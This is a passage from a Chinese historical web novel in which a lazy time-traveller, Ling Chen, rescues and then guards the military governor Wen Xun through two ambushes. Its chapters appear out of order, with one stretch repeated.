打打杀杀不是他擅长的事情,指挥作战那就更别说了!这他娘又不是战棋游戏,一个哆嗦,就是成千上万具骸骨横尸荒野,他这种心软的人可遭不住人家的妻子父母来找他讨要丈夫和儿子。 “小人本来只是一介流民,幸赖大人垂青,恩重荷深,这才能摆脱贱籍跟随身边效力,每每想起便觉不安,深感无以为报。但也自知才疏学浅,能力浅薄,生怕辜负大人厚望。更放不下儿女情长,拙荆还在家中一人苦守,每每思之,魂不守舍。长此以往必酿祸患,所以只好斗胆辞别,还望大人垂怜应允。” 听到凌晨这么说,文训明白他这是去意已决了,于是紧皱浓眉,捋着胡须沉思良久后,不由得叹了一口气:“罢了,人各有志,老夫也不强求于你。只是可惜了你这一身的好武艺,不能为国所用,真是憾事一桩。” 紧接着,他话锋一转,对着文若说道:“为父还有要紧事,你替我送他一程。” 说罢,他就坐上马车,在何关和一众亲卫营的围绕下离营而去。 凌晨望着文训的马车渐行渐远,目光复杂。 大领导这么看重自己,自己却只想着混吃等死、老婆孩子热炕头,多少是有点不识好歹在里面的。可他就这么懒散的一个人,如果不能从心,就是当上江淮节度使,他也不会开心。 下一刻,似乎是看穿了他的心思,立在一旁文若抬起胳膊,将手搭在了凌晨的肩上: “没事,你有自己的目标和想法,这没什么好郁结的。其实我有时候也想干点别的,但我不像你,我是文家的长子,生来就是要接替父亲的位子,没得选。” 凌晨不禁露出嫌弃的表情来,这段时间的相处下来,他和文若早已熟络了:“你是不是有什么毛病?你要不要听听看你在说什么?” 文若讪讪一笑,脸上竟然浮现出一丝无奈来:“没和你开玩笑,莫说旁人,你不就不愿意待在军中么?” “……” 好吧,自己还真说不过他。 摇了摇头后,文若招呼着凌晨坐下,命手下军士搬来桌子,摆好酒菜,二人对坐于静谧林间。 远处,是嘈杂忙乱、班师回朝的大军。 第5章 你特么属柯南的!? 马车前后各有数十骑相随,人人披甲执挂,手提长朔、腰胯长刀、背负雕弓,马脖子前还挂着两袋羽箭。这帮人是江淮军中的精锐,忠诚度极高,武艺更是没的说。 凌晨跨上马后,立在他们中间,明显感觉有点发虚。 这情况就跟你在简历上胡吹一通,结果被秦山核电站破例录取了一样让人抓马。 文若走到凌晨胯下的骏马旁边,对着他正色拱手,语气恳切的嘱托道:“家父的安危,就托于贤弟了。” 文若比凌晨大两岁,所以这话不是站在职扬的角度,而是以另一种更亲近的身份托付的,凌晨闻言后也不免有些动容,抱着拳对文若保证道: “放心。” 军队迤逦而行,出了营寨,向着寿春府城而去。 —— 小桃无主自开花,烟草茫茫带晓鸦。 几处败垣围故井,向来一一是人家。 唐国的入侵对寿春府造成的破坏是灾难性的,凌晨沿途经过的村落早已残破不堪,房子倒塌下来,横梁裸露在外,残砖破瓦散落一地,黑烟熏烧过的土墙孤独的立在风中。 路边有时还能看到累累白骨,野狗低着头在嗅着残渣,乌鸦盘旋在天空之中“嘎嘎”惨叫,也有活人瘫坐在大树下,袒胸露乳,有气无力。 战争带来的影响,是十分醒目的,横刀立马、醉卧沙扬的豪壮背后,往往是流离失所、家破人亡的心酸。 兴,百姓苦。亡,百姓苦。 看到这些扬面后,凌晨突然想起了远在望云镇的青柠,也不知道那小姑娘现在怎么样了…… 比起外面那些没有城墙和军队保护的村落,寿春府城里面就完全是另外一副景象了—— 陌上花开正艳,草香怡然。波光荡漾在溪流中,鱼儿穿梭摇曳,菏叶朵朵静张。石桥上人来人往,挑着担子的樵夫、提着草鲤的渔人、抱着稚童的农妇、跟着丫鬟的马车、推着木车的汉子,都齐齐走向那座高大的城墙。 宽大的石块互相错落堆叠,造就出高耸入云的坚实壁垒,城墙上的斑驳痕迹,无声的诉说着刀劈火燎的往日惊心;墙角下的苔藓平添一抹绿意,从石砖缝隙里钻出的一棵草枝,将生命的不屈呈现给每一位赶路的旅人。 比起外面的骄阳似火、夏日清荷,穿过冰冷的城门楼洞,全然是另一幅画卷—— 两道高楼木倚门,酒旗茶肆布招扬,叫卖声、交谈声、嬉笑声、吵骂声响彻市井,垂柳在池边慢划水面、小舟在镜上轻泛涟漪,这处才子收扇挥笔,那端佳人高阁掩笑,翠叶藏莺,珠帘隔燕。 画栋鳞次栉比,巷陌静沐暖阳,彩船琵琶吹人醉,佛寺梵音入空明。衙役皂吏巡街辑纠,官兵士卒伫立贩摊。身前人与物相契,远眺峰与松共眠,秋山宜落日,秀水出寒烟。 凌晨骑在马背上,望着繁花似锦的庐州街道,不禁大为惊奇、感慨万千。 “对了,老夫还不知道你是哪里人氏?”一旁的马车帘子被掀起,文训捋着胡子看着街上的人群,向凌晨笑问道。 凌晨思考了一下,缓缓答道:“回大人,颍川府、望云镇。” “家中还有什么人?” 凌晨愣了一下,美好的心情突然就像被泼了一盆冷水,因为文训的话让他想起了还在茅草屋里啃着窝头的青柠,想起她低头缝衣的模样;想起她深夜柔弱的低啜;想起自己那天推开院门时,身后急促又止的脚步。 “小人拙荆尚在家中。” 文训听了后笑着说道:“老夫知晓了,此间事了,你便休沐月余,回家看看吧!若是家中再无亲眷,不如就将她接至汝南府。那里是老夫故里,略有些薄产,给你夫妻二人置办些宅田,定居下来,也好解相思之苦。” 凌晨微微一笑,低着头有些不自信的说道:“小人本来只是个流民,被当地里正半哄半骗着和她成了亲,第二天就入大人帐下从军了,都还不怎么熟,哪谈得上什么相思不相思……” “话虽如此,可老夫看得出来,你是在意的。” 废话!老子两世为人,女朋友都没谈过,只敢暗恋漂亮班花、校花、系花。青柠一上来就跟我结婚,是我人生中的第一个女人,能不有点特殊的感情么? 一路闲聊到府衙后,文训让其他人去门房倒座里休息,只带着凌晨一人进入了官衙里面。 穿过庭院和正堂侧面的游廊后,他跟在文训身后,在后堂里见到了庐州太守兼寿春府府服第一。 也是个半截身子埋黄土的玩意儿。 两个老头叽里咕噜的聊了半天,凌晨在一旁早就等着不耐烦了,但不管怎么说,好歹他也是文训带过来的亲随,多少代表着江淮几万大军的脸面,孰轻孰重凌晨还是分得清的,于是只好耐着性子面无表情的立在一旁发呆。 两老头商量的都是军政事务,凌晨既不了解情况、也没有资格插嘴,就在一旁拼命压制着自己别打哈欠,期间寿春知府还让侍女给凌晨上了一杯茶和几块糕点。 糕不糕点倒在其次,只是那侍女长的是真水嫩啊!脸蛋白白净净、眼睛秋水汪汪,胸前也十分饱满。身段婀娜、面含浅笑,临走时还看了凌晨一眼,真个是回眸一笑、勾魂摄魄。 “咳咳~” 直到文训捂着嘴咳嗽提醒,凌晨才回过神来,原来是他们聊完了,该换地方吃饭了。 你吃你的呗!打断我干嘛?我看美女碍着你往嘴里塞饭了?难不成还要我喂你吃? 俩老头在正堂吃饭,满腹牢骚的凌晨则是被安排到了偏房吃,跟他们只有一墙之隔,这让凌晨感觉自己贼像大领导的司机。不过也没办法,从古至今等级都是如此森严,他也没指望古人能有人人平等的观念,那玩意在他生活的现代都还没有完全建立起来呢~ 不过话又说回来了,老文也算是个知恩图报的讲究人。自从凌晨救了他一命后,不仅给他安排了清闲的岗位,把他当心腹看待。嘘寒问暖就算了,还带着出来见世面,从对方的角度来看,确实挺够意思了。 不过搬家去汝南给他打一辈子工的事还是省省吧,凌晨只想自己关起门来过日子,宁为鸡头,不为凤尾嘛~ 这边事情一结束他就请辞,带着积攒下来的75两6角银子回颍川府。 天色将暮,知府家的小厮跑来找凌晨,说节度使大人今晚要住在这里和他家老爷听戏看曲,领着凌晨去了一间单间,让他今晚睡在里面。 凌晨送走那小厮后,刚脱了盔甲躺到床上还没多久,就又有人来找他了。 是跟他一起来的亲卫营同袍,言说军中又有急事,老文这戏看不成了,要连夜赶回军营。 妈的…… 这是真拿老子当羊肉涮啊! 凌晨怨气冲天的把刚刚脱下的盔甲又披挂在了身上,握着刀很不情愿的走出房门,跟着同袍来到府衙门口,和一起来的骑兵们无聊的等着。 过了一会,脸色微红、看起来像是喝了三聚氰胺的文训就在两个侍女的搀扶下,被寿春知府送了出来。 凌晨嫌弃的叹了一口气,走上前去从侍女手中接过这位活爹,费劲巴拉的把他扶上马车塞进里面后,又跳下来朝着知府抱拳一礼,这才指挥着队伍离开了府衙,向着城门走去。 他之所以能面不改色的指挥这帮同事,是因为文训给他安排了个小官—— 亲卫营,百夫长。 火把冒着黑烟,将松脂烧出一股淡淡的熏味,百骑护着车驾,行走在官道之上,四周是静谧的旷野。 凌晨摇了摇头,有些烦躁。白天和文训的交谈似乎还在眼前,他跟青柠只见过一面,待了也就十几个小时,可为什么脑海里总是会出现她的脸蛋,并且还挥之不去? 难道是因为抱了她一下? 不应该啊!小学跳舞表演他还一次性换着抱过四个女同学呢~难道自己定力这么差? “嗖——” 就在凌晨立在马背上晃悠着走神时,突然响起了一声弦音,紧接着一直箭矢擦着他的鼻子,从他眼前穿了过去,“梆”的一声钉在了马车窗边。 下一刻,还不等凌晨反应过来,原本十分平静的官道两旁就突然毫无征兆的响起了铺天盖地的喊杀声—— “杀!!” “我就草了……你特么是属柯南的吗?!” 凌晨望着马车车窗暗骂一声,立刻抽出腰间的刀,大声呼喊道:“不要乱!前面的往前冲杀破开路!后面的跟我一起保护好大人,快速冲出去!” “是!” 虽然不清楚这帮从草林里窜出来的黑影是什么目的、有多少人,但都干到亲卫营了,大家也都不是吓大的!亲卫骑兵并没有慌乱,他们冷静的卸下后背的弓,搭上箭就朝着黑处射,等到凶徒逼近了,又果断丢了弓,举起马朔就往他们头上招呼! 一套行云流水的操作,堪称专业! 凌晨守在马车旁,自然不用他亲手提刀砍人,他躲在混乱的人群中仔细观察了一会,发现这帮人身上并没有甲胄,但却有弓箭和刀刃,既不是装备精良的唐军,也不像一穷二白的暴民。 那就只有一种可能了——仇家。 凌晨对文训的人际关系并不了解,也没有探索的兴趣,但能做到大周南方集团军总司令,想来一路上估计也没少结仇家,眼红的小人也从来不会缺。这帮人能埋伏在他们回去的道路上,并且能精确的知道时间和地点,背后怕是多少有点政治斗争的影子。 老文不容易啊!快五十的人了,还有各种各样热心肠的人这么着急的想送他一程。 对方明显人多,而亲卫营的装备比他们好,双方又眼看着都是不达目的不罢休的人,那就耗呗~看谁先虚!! 刀剑刺破皮肤,血水飞溅一地,惨叫声和怒骂声不绝于耳,亲卫们护送着凌晨和文训一路奋力向前砍杀,但人却越来越少,边战边撤到一处乡野残村时,只剩下七八个人。 马车早就被贼人给毁坏了,凌晨扶着醉醺醺的文训躲进一间破院里。这户人家以前应该是个大地主,房子修在一处高坡上,四周的墙壁虽然是土垒的,但靠人力一时半会也推不倒。 亲卫们搬来断木土块,推着石碾子,把它们统统堆到门前挡住。墙高爬不上去,贼人们就不顾一切的从门口往里面冲,却被亲卫们齐齐用马朔迎头劝退,他们的人数优势施展不开,扬面一时间僵住了。 “去找柴火和稻草,丢进去烧死他们!!” 听到外面传来的凶狠叫喊,亲卫们面色凝重,个个都露出不安的神色。他们倒不怕死,可节度使大人还在这呢,他不能出事啊! 于是,他们齐齐看向了凌晨:“将军,怎么办?” 当小领导就这点不好,大家拿不出主意的时候,就都来找你了。 凌晨将胳膊曲起,擦了一把泛着寒光的刀面后,对这群投来希冀目光的手下们说道: “本来,我的职责是贴身保护大人,砍人这种事不该我去。不过既然已经被逼到这步田地了,我也不能再端着。你们守好大门,一定要护好大人,我出去剁了他们就回来。” 听到凌晨如此说,面前这几个亲卫顿时大惊失色!我们是让你想想办法,不是让你去送人头啊! 当下就有一个浑身是血的亲卫壮着胆子出言劝阻道:“将军,贼人数量众多,势头正盛,依小人之见,不如暂避锋芒,多垒砖石固守,以待……” “你说什么?我避他锋芒?”凌晨轻蔑的打断了这名亲卫的劝阻,脸上冷笑连连。 如果是白天,他还真不好操作。可现在四周黑灯瞎火的,外面那群逼也因为怕被人看到亮光,连火把都没有点。这种连演都不需要演的爽局,得连跪多少次才能遇到一把啊! “看好了,我只教一次。” 说罢,凌晨便不分由说的扯过一个亲卫,将他拉到墙边按倒,踩着他的肩膀就毫无高手风范的抓住墙边,费力的爬上去,翻滚着跌出墙外。 剩下亲卫们面面相觑…… 下一刻,从外面传来了凄厉的惨叫。 第4章 没人比我更懂投资 密林中,满头树叶的凌晨拨开面前的灌木枝,呸了一口嘴里的鸟粪,扯着马缰绳艰难的往前逃命。身后不远处火光摇曳,依稀还能听到“站住”、“抓住他们”之类的凶恶喊叫。 趴在马背上的文训回头望向后方的追兵,颇为无奈的说道:“他们留在后面阻截追兵,如今追兵已至,想来已经……” “得得得!” 凌晨不耐烦的打断了文大叔的凄凄惨惨切切,都什么时候了还有功夫伤感别人,眼下他俩能不能逃出生天还两说呢! 凌晨牵着马,驮着受伤的文训在林子里穿行了许久后,还是没有摆脱身后的那帮牛皮糖,他的心中不免急躁起来,有了别的心思。 咱也不是非要今天进步不是?不行先溜了,换个领导不也是一样表现? 就在凌晨考虑丢下文训准备独自跑路时,面前的林子突然消失了,印入眼帘的是一片空旷的草台,下面是个接近直角的陡土坡。 妈的!没路了…… 凌晨皱眉望着脚下的土坡,这个角度似乎也并非不能滑落,只要贴着坡面用脚刹来减缓自由落体的重力,应该问题不大,这种事他小时候常干。 况且现在也没得选了。 主意打定后,凌晨跑到马旁边扶住趴在上面的文训,把他半拉半扯着拽了下来,两个人颤颤巍巍的来到了崖边: “大人身居要职,所以绝对不能被唐军抓走,虽然这里有点高,不过还是要跳!” 文训回头看了一眼快要到眼前的追兵,知晓已无计可施,于是便抓着凌晨的胳膊,用力的点头道:“嗯!” “跳!” 尘土扬起,沙石飞溅!身体极速坠落,凌晨四肢挥舞尽量让自己贴着坡面,用脚踩着土块保持平衡,只要别被突然颠一下子飞出去,就不会有太大的危险,最多就是擦破点皮或者腿麻脚崴之类的小伤。 什么?受伤的文训? 谁特么还有心思管他!活下来算他命大,滚下去就是命里该绝,下辈子多注意就行了。 半分钟后,凌晨终于扑倒在了地面上,满身都是草屑黄泥,咳嗽两声都能看到眼前尘土飞扬,跟吐烟圈一样。胳膊肘火辣辣的,屁股墩子也有点痛,手掌还被擦烂了,不过好歹也是活下来了。 哎?老文呢? 凌晨借着微弱的月光在周围找了半天,都没有找到丫的人影。不应该啊……就算摔死了,也该有个尸体吧? “咳咳……” 一道咳嗽声传入耳中,紧接着“哎呦”声响起,凌晨抬头一看,文训以一种十分不雅的姿势挂在自己头顶的一堆蒿草上,腰间的宝剑也不知道哪去了。 “哎呦我的老baby呦~你在那儿干嘛呢?还不赶紧下来!” 凌晨忍着伤口传来的疼痛,手脚并用的爬了上去,拽着文训的脚就毫不客气的把他给拖了下来。 “慢……慢点小兄弟,老夫的胯……” “慢不得!唐军的大刀不答应!” 凌晨一把将文训的胳膊搭在自己肩膀上,架起他就抬腿飞奔。 两个人就这样狼狈的在郊野上逃窜,凌晨跑的气喘吁吁、大汗淋漓,文训也紧张的直咳嗽。所幸他们身后并没有什么声音,看来那帮追兵应该是绕路了,眼下争取到了宝贵的逃命时间,必须赶紧找到大周的军队! 但很快,他们就趴在草里面不动弹了,因为在前方一道必须要经过的木桥边,他们看到了人影和篝火。 “糟了……是唐军斥候。”文训皱眉低语道。 凌晨叹了一口气,站起身子抖了抖身上的草屑和尘土,对满脸惊疑的文训说道:“藏好,等我回来。” 说罢,他就提着刀蹑手蹑脚的绕到一旁,消失在了草丛中。 文训忍不住伸长脖子在黑夜中寻找凌晨的身影。人就是这样,在危险的环境中看不到同伴的身影,就会产生莫名的恐惧和焦虑。 “啊——” “怎么了?呃!” “不好!有……” 距离太远,文训只看到木桥那边的唐军不知何故乱了起来,篝火也莫名其妙的熄灭了,还有许多喊声和哭声传来,但并没有持续多久,很快就安静了下来。 文训趴在草里,感受着周遭诡异的安静,不免有些紧张。 突然,一双手拍在了他的肩膀上!! 文训立刻惊惧交加的扭过头去,他都准备和来人徒手互殴了,结果发现是那个年轻小伙子。 此刻,他浑身浴血,腰间缠着五颗人头,都还在滴血。右手握刀、左手扶着自己的肩膀,借着月光还能看到他在憨笑。 “解决了,走吧~” 解决了?解决什么了? 文训闻言先是一愣,而后恍然大悟,紧接着又是一脸的震惊,用看怪物的眼神望着凌晨。 “你……你一个人把他们……” “活爹!能别磨蹭了吗?再磨蹭追兵要赶上来了!” “哦……哦哦哦!” 这帮唐军斥候有马,凌晨把文训扶上马后,自己也骑了一匹,两人并辔而行,快速过了木桥,再次朝着北方疾驰而去。 “小兄弟,你是谁的部将?” “我不知道,我就是个先锋营的小兵,不过我的大领导也姓文,跟你一个姓。” 文训骑在马上暗自思索,寿春府附近就自己这一支人马,他现在基本可以肯定这年轻人就是自己帐下的士卒,先锋营么…… 就在他准备要问凌晨姓名时,前方突然又出现了大量火把,仔细一看,竟然是成群结队的骑兵! 凌晨嘴角一抽,猛的勒住了缰绳。 那群骑兵当然也发现了他们,隆隆的铁蹄将整片大地都震的微微颤抖,他俩都来不及逃跑,就被对方从左右两边围了个圈,包成了饺子馅。 “大叔,事已至此,我已仁至义尽……” “父亲!” 就在凌晨准备丢下文训隐身逃命时,从对方阵中飞出来一匹白马,马上那人嘴里喊着爸爸朝他俩奔了过来。 来人不过二十岁,头戴双龙鍪、手提长缨枪,银甲白袍、剑眉星目。铠甲上刀劈剑砍的痕迹在火光中清晰可见,披风上的鲜血尚未干涸。雄壮的身躯上,既有饱读诗书的儒雅,也有久经沙扬的肃杀。马如麒麟,人如盘龙。 这人勒马立在两人面前,见到文训四肢健全并且还在喘气后,这才长舒了一口气,紧接着横眉冷眼,看向一旁的凌晨。 凌晨举起手中的长刀,指向这人的脸,明知故骂道:“贼人!休伤吾主!” ? 文训既感动又无奈伸出手按住凌晨的胳膊,笑呵呵的说道:“小兄弟休惊,这是我儿文若,我们安全了。” 凌晨“恍然大悟”,连忙收起刀在马上拱手说道:“小人不知是大人公子,还以为是唐将,一时冒犯,多有得罪,千万勿怪。” 文训指着凌晨对文若介绍道:“这位小兄弟是先锋营的士卒,为父遭唐军截杀,随从尽皆战死,路上偶遇了这位小兄弟。多亏了他一路舍命护送,这才杀出重围,还不速来谢过?” 文若听完父亲的介绍后,脸色惊奇的看向浑身是血、腰间还缠着五颗人头的凌晨,不由得从心底生出一股感激和敬佩之情,他连忙将长枪插在地上,对着凌晨惶恐拱手道: “岂敢岂敢!兄台既有恩于我父,自是有恩于我文家,请受在下一拜。” “哎~哪里哪里……” 凌晨挠着头不好意思的笑了,忽然好像想起了什么,转过头对文训说道:“对了大人,你还记得之前我骑的那匹马么?” “自然记得,小兄弟的意思是?” “那上面的六颗唐军人头眼下是找不回来了,不过大人是亲眼见过的,不知能否为小人做个见证,不然我怕我那伍长不认……” “喔……喔哈哈哈哈~~” 文训明白过来后,顿时豪迈的放声大笑起来!文若和周围的骑兵们也都跟着笑了,凌晨只好也跟着嘿嘿傻笑起来。 —— 什么是气运之子?就是出门遛个弯的功夫,都能救下公司高层大领导。 文训,字教言。大周帝国江淮节度使,镇南将军,奉上命提步卒四万、马军两万,南下御敌。 这位便宜大叔是有资格觐见大周皇帝的牛人,真正的天街公卿。而且不单单是朝臣,他还是边将。大周一共就六个军政财一把抓的地方节度使,个个都是位高权重的大佬,而这老哥就是其中之一。 回到军营后,凌晨就在先锋营同袍们羡慕的目光中收拾好行李离开了,连夜搬进大别墅啊不是,中军大帐—— 旁边的亲卫营。 望着单人宿舍里的小桌子和棉花褥子,以及篝火旁放着的小酒壶和鸡肉,凌晨嘬了一口小酒,不禁哼起小调来。这波真的是秦始皇吃花椒——嬴麻了! 果然,没有人比我更懂投资。 接下来的日子里,凌晨就像是从地狱来到了天堂。亲卫营不用推车、不用打木头桩子、不用出去拉水、不用吃野菜面糊、不用干那些永远都干不完的杂活。 他的工作内容很简单,就是每隔一天去中军大帐门口站两个时辰、也就是四个小时的岗,也不需要一动不动或者目不斜视,只要别大声说话和随意离岗就行了。 然后每个月还有5两银子拿,你说这……这上哪说理去呢?(双手一摊) 最关键的是,全军营的人都知道他救过节度使大人的命,还是个战绩11/0/1的猛人,面对数百铁骑都敢毫不畏惧的怒喝“敌将”,这样的人,谁会脑子抽了闲的没事去招惹他? 所以凌晨的上司——亲卫营的校尉大人,对他特别客气,平时升帐点卯从来不喊他的名字,直接默认他到了。除了每隔一天必须要去站的岗之外,凌晨爱干什么就干什么,从来不管不问。 除了刚开始的遭遇战吃了点亏之外,周军几乎是连战连捷,曾经被人追杀到跳崖的文训估计心里也憋着气呢,指挥着手下大军把唐军打的抱头鼠窜,并且还格外注意自身的安全。 连带着凌晨的工作环境也安全了很多,他再也不用提着刀去跟人火拼了,只要按时上下班就行,小日子就这么舒舒服服的过去了两个月。 六月的正午阳光还是很毒辣的,所以凌晨就待在自己的营帐里乘凉,小风吹着,小酒喝着,哪都不想去,连动都懒得动弹一下。 “凌兄弟!凌兄弟!” 忽然听到有人喊自己,凌晨将自己脸上的的蒲扇拿开,从新发的竹席上坐起身来,看向来人。 是同在亲卫营的袍泽。 “什么事这么着急,你慢慢走不行么?” 袍泽端起桌子上的酒杯喝了一口后,微微喘气着说道:“大人令你去帐内报到,我听说是要去寿春府城,估计是让你随从护卫。” 凌晨闻言皱了皱眉,再望一眼帐外跟开了狂暴似的太阳,不禁在心中暗骂一句:马勒戈壁的…… 很不情愿的穿好盔甲后,凌晨拖着沉重的脚步来到了中军大帐,一进门就看到文训坐在案几前奋笔疾书,他的好大儿文若穿着常服,左手搭在剑柄上侍立一旁。 父子二人见到是凌晨来了,俱是一笑。 文若朝着凌晨点了点头,算是打过招呼了。文训则是放下手中的笔,和煦的望着凌晨笑道:“老夫要去府城内和寿春知府商议要事,如今唐军退却,想来一路也无甚危险。但为了安全起见,还是要心腹随从护卫。思来想去,唯有你最合适不过了。” 凌晨连忙拱手说道:“大人有命,小人自当尽心竭力。” “嗯~”文训满意的点着头捋了一把胡子后继续问道:“这段日子可还舒心?身上的伤如何了?” “多谢大人关心,本来就是些小伤,早就好了!” 说罢,凌晨还专门原地蹦了两下给文训看,后者哈哈大笑,看起来心情颇为舒畅:“不错,不错。” 凌晨退到一旁等了一会后,文训将手中的工作都完成了,便走下上首,当着凌晨的面对儿子说起了机密军务。 凌晨一听不对劲,连忙低着头想走出去,却被文训给叫住了:“作甚去?” 凌晨一脸无辜的对文训解释道:“大人与少将军商议重事,小人自当回避……” “哎~”文训闻言顿时面露不满之色,以一种极为霸道的语气训斥道: “你我刀光剑影之中尚不相疑,如今太平无事,岂有避嫌一说?安心待着!” “呃……是。” 第3章 从军行 文训向儿子交代完军营里的事项后,便信步走出帐外,在凌晨的搀扶下钻进了帐前的双驾马车里。  马车前后各有数十骑相随,人人披甲执挂,手提长朔、腰胯长刀、背负雕弓,马脖子前还挂着两袋羽箭。这帮人是江淮军中的精锐,忠诚度极高,武艺更是没的说。  凌晨跨上马后,立在他们中间,明显感觉有点发虚。  这情况就跟你在简历上胡吹一通,结果被秦山核电站破例录取了一样让人抓马。  文若走到凌晨胯下的骏马旁边,对着他正色拱手,语气恳切的嘱托道:“家父的安危,就托于贤弟了。”  文若比凌晨大两岁,所以这话不是站在职场的角度,而是以另一种更亲近的身份托付的,凌晨闻言后也不免有些动容,抱着拳对文若保证道:  “放心。”  军队迤逦而行,出了营寨,向着寿春府城而去。  ——  小桃无主自开花,烟草茫茫带晓鸦。  几处败垣围故井,向来一一是人家。  唐国的入侵对寿春府造成的破坏是灾难性的,凌晨沿途经过的村落早已残破不堪,房子倒塌下来,横梁裸露在外,残砖破瓦散落一地,黑烟熏烧过的土墙孤独的立在风中。  路边有时还能看到累累白骨,野狗低着头在嗅着残渣,乌鸦盘旋在天空之中“嘎嘎”惨叫,也有活人瘫坐在大树下,袒胸露乳,有气无力。  战争带来的影响,是十分醒目的,横刀立马、醉卧沙场的豪壮背后,往往是流离失所、家破人亡的心酸。  兴,百姓苦。亡,百姓苦。  看到这些场面后,凌晨突然想起了远在望云镇的青柠,也不知道那小姑娘现在怎么样了……  比起外面那些没有城墙和军队保护的村落,寿春府城里面就完全是另外一副景象了——  陌上花开正艳,草香怡然。波光荡漾在溪流中,鱼儿穿梭摇曳,菏叶朵朵静张。石桥上人来人往,挑着担子的樵夫、提着草鲤的渔人、抱着稚童的农妇、跟着丫鬟的马车、推着木车的汉子,都齐齐走向那座高大的城墙。  宽大的石块互相错落堆叠,造就出高耸入云的坚实壁垒,城墙上的斑驳痕迹,无声的诉说着刀劈火燎的往日惊心;墙角下的苔藓平添一抹绿意,从石砖缝隙里钻出的一棵草枝,将生命的不屈呈现给每一位赶路的旅人。  比起外面的骄阳似火、夏日清荷,穿过冰冷的城门楼洞,全然是另一幅画卷——  两道高楼木倚门,酒旗茶肆布招扬,叫卖声、交谈声、嬉笑声、吵骂声响彻市井,垂柳在池边慢划水面、小舟在镜上轻泛涟漪,这处才子收扇挥笔,那端佳人高阁掩笑,翠叶藏莺,珠帘隔燕。  画栋鳞次栉比,巷陌静沐暖阳,彩船琵琶吹人醉,佛寺梵音入空明。衙役皂吏巡街辑纠,官兵士卒伫立贩摊。身前人与物相契,远眺峰与松共眠,秋山宜落日,秀水出寒烟。  凌晨骑在马背上,望着繁花似锦的庐州街道,不禁大为惊奇、感慨万千。  “对了,老夫还不知道你是哪里人氏?”一旁的马车帘子被掀起,文训捋着胡子看着街上的人群,向凌晨笑问道。  凌晨思考了一下,缓缓答道:“回大人,颍川府、望云镇。”  “家中还有什么人?”  凌晨愣了一下,美好的心情突然就像被泼了一盆冷水,因为文训的话让他想起了还在茅草屋里啃着窝头的青柠,想起她低头缝衣的模样;想起她深夜柔弱的低啜;想起自己那天推开院门时,身后急促又止的脚步。  “小人拙荆尚在家中。”  文训听了后笑着说道:“老夫知晓了,此间事了,你便休沐月余,回家看看吧!若是家中再无亲眷,不如就将她接至汝南府。那里是老夫故里,略有些薄产,给你夫妻二人置办些宅田,定居下来,也好解相思之苦。”  凌晨微微一笑,低着头有些不自信的说道:“小人本来只是个流民,被当地里正半哄半骗着和她成了亲,第二天就入大人帐下从军了,都还不怎么熟,哪谈得上什么相思不相思……”“话虽如此,可老夫看得出来,你是在意的。”  废话!老子两世为人,女朋友都没谈过,只敢暗恋漂亮班花、校花、系花。青柠一上来就跟我结婚,是我人生中的第一个女人,能不有点特殊的感情么?  一路闲聊到府衙后,文训让其他人去门房倒座里休息,只带着凌晨一人进入了官衙里面。  穿过庭院和正堂侧面的游廊后,他跟在文训身后,在后堂里见到了庐州太守兼寿春府府服第一。  也是个半截身子埋黄土的玩意儿。  两个老头叽里咕噜的聊了半天,凌晨在一旁早就等着不耐烦了,但不管怎么说,好歹他也是文训带过来的亲随,多少代表着江淮几万大军的脸面,孰轻孰重凌晨还是分得清的,于是只好耐着性子面无表情的立在一旁发呆。  两老头商量的都是军政事务,凌晨既不了解情况、也没有资格插嘴,就在一旁拼命压制着自己别打哈欠,期间寿春知府还让侍女给凌晨上了一杯茶和几块糕点。  糕不糕点倒在其次,只是那侍女长的是真水嫩啊!脸蛋白白净净、眼睛秋水汪汪,胸前也十分饱满。身段婀娜、面含浅笑,临走时还看了凌晨一眼,真个是回眸一笑、勾魂摄魄。  “咳咳~”  直到文训捂着嘴咳嗽提醒,凌晨才回过神来,原来是他们聊完了,该换地方吃饭了。  你吃你的呗!打断我干嘛?我看美女碍着你往嘴里塞饭了?难不成还要我喂你吃?  俩老头在正堂吃饭,满腹牢骚的凌晨则是被安排到了偏房吃,跟他们只有一墙之隔,这让凌晨感觉自己贼像大领导的司机。不过也没办法,从古至今等级都是如此森严,他也没指望古人能有人人平等的观念,那玩意在他生活的现代都还没有完全建立起来呢  不过话又说回来了,老文也算是个知恩图报的讲究人。自从凌晨救了他一命后,不仅给他安排了清闲的岗位,把他当心腹看待。嘘寒问暖就算了,还带着出来见世面,从对方的角度来看,确实挺够意思了。  不过搬家去汝南给他打一辈子工的事还是省省吧,凌晨只想自己关起门来过日子,宁为鸡头,不为凤尾嘛  这边事情一结束他就请辞,带着积攒下来的75两6角银子回颍川府。  天色将暮,知府家的小厮跑来找凌晨,说节度使大人今晚要住在这里和他家老爷听戏看曲,领着凌晨去了一间单间,让他今晚睡在里面。  凌晨送走那小厮后,刚脱了盔甲躺到床上还没多久,就又有人来找他了。  是跟他一起来的亲卫营同袍,言说军中又有急事,老文这戏看不成了,要连夜赶回军营。  妈的……  这是真拿老子当羊肉涮啊!  凌晨怨气冲天的把刚刚脱下的盔甲又披挂在了身上,握着刀很不情愿的走出房门,跟着同袍来到府衙门口,和一起来的骑兵们无聊的等着。  过了一会,脸色微红、看起来像是喝了三聚氰胺的文训就在两个侍女的搀扶下,被寿春知府送了出来。  凌晨嫌弃的叹了一口气,走上前去从侍女手中接过这位活爹,费劲巴拉的把他扶上马车塞进里面后,又跳下来朝着知府抱拳一礼,这才指挥着队伍离开了府衙,向着城门走去。  他之所以能面不改色的指挥这帮同事,是因为文训给他安排了个小官——  亲卫营,百夫长。  火把冒着黑烟,将松脂烧出一股淡淡的熏味,百骑护着车驾,行走在官道之上,四周是静谧的旷野。  凌晨摇了摇头,有些烦躁。白天和文训的交谈似乎还在眼前,他跟青柠只见过一面,待了也就十几个小时,可为什么脑海里总是会出现她的脸蛋,并且还挥之不去?  难道是因为抱了她一下?  不应该啊!小学跳舞表演他还一次性换着抱过四个女同学呢~难道自己定力这么差?  “嗖——”  就在凌晨立在马背上晃悠着走神时,突然响起了一声弦音,紧接着一直箭矢擦着他的鼻子,从他眼前穿了过去,“梆”的一声钉在了马车窗边。下一刻,还不等凌晨反应过来,原本十分平静的官道两旁就突然毫无征兆的响起了铺天盖地的喊杀声——  “杀!!”  “我就草了……你特么是属柯南的吗?!”  凌晨望着马车车窗暗骂一声,立刻抽出腰间的刀,大声呼喊道:“不要乱!前面的往前冲杀破开路!后面的跟我一起保护好大人,快速冲出去!”  “是!”  